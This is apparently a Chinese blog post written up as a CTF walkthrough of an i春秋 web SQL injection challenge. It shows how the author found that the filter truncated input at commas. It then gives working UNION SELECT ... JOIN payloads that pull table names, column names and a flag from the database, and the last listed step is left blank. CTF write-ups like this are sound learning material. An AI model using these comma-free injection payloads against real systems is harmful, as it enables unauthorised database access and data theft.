乔悟空-CTF-i春秋-Web-SQLi

2020.09.05

今天注定是高产的一天,这题真是坑,不看wp真的不会做,现在回头来复习一遍。

做题

题目

题目地址

做题

  1. 这题坑人的地方就在于重定向了两次,并且重要信息在第一次里藏着,第二次还给了错误信息诱骗你🤧

    • 第一次

    • 第二次

  2. 用第一次跳转信息测试

    • 默认payload
      payload:l0gin.php?id=1

    • 发现可能是逗号截断
      payload:l0gin.php?id=0 UNION SELECT 1,2,3,4

    • 尝试验证是否是逗号截断
      payload:0' ^(length(',')=0) %23

  3. payload被从逗号处截断,所以找一个不用逗号的办法

    方法来源
    这个方法着实好用,适用于不能用逗号的情况,对于这个方法有以下总结

    • 通式SELECT * FROM (a语句) a JOIN (b语句) b
    • 如果需要多个语句,应该是可以进行嵌套;
    • 这里的a语句和b语句应该只能是SELECT语句,因为我直接放database()不能出结果,但是替换成SELECT database()就可以;
    • 这个方法适用于逗号被过滤的情况,但是我觉得问题的关键是发现逗号被过滤,让我自己做我可能发现不了这个问题……
  4. 开始愉快的常规操作

    • 表名
      payload:0' UNION SELECT * FROM (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sqli') a JOIN (SELECT database()) b %23
      结果:user

    • 列名
      payload:0' UNION SELECT * FROM (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users') a JOIN (SELECT database()) b %23
      结果:id,username,flag_9c861b688330

    • flag
      payload:0' UNION SELECT * FROM (SELECT GROUP_CONCAT(flag_9c861b688330) FROM sqli.users ) a JOIN (SELECT database()) b %23
      结果:flag{03c70fae-aaf8-46dc-955d-ce165d*****},test

    • 表名
      payload:``
      结果:

总结

  1. 以后井号一定记得用%23代替,因为这个,我浪费了大把的时间……
  2. 0'^(length(',')=0)这里,不知道为什么第一个0后边的单引号必须加着,要不然就不能出正确结果,我很纳闷,有知道的有缘人麻烦告知,先行谢过。最一开始的时候也没加单引号啊😥
  3. 我似乎有强迫症,这个这个mk编辑器不是一般的不好用,有点不习惯,希望早日升级👐
posted @ 2020-09-05 13:49  乔悟空  阅读(491)  评论(0编辑  收藏  举报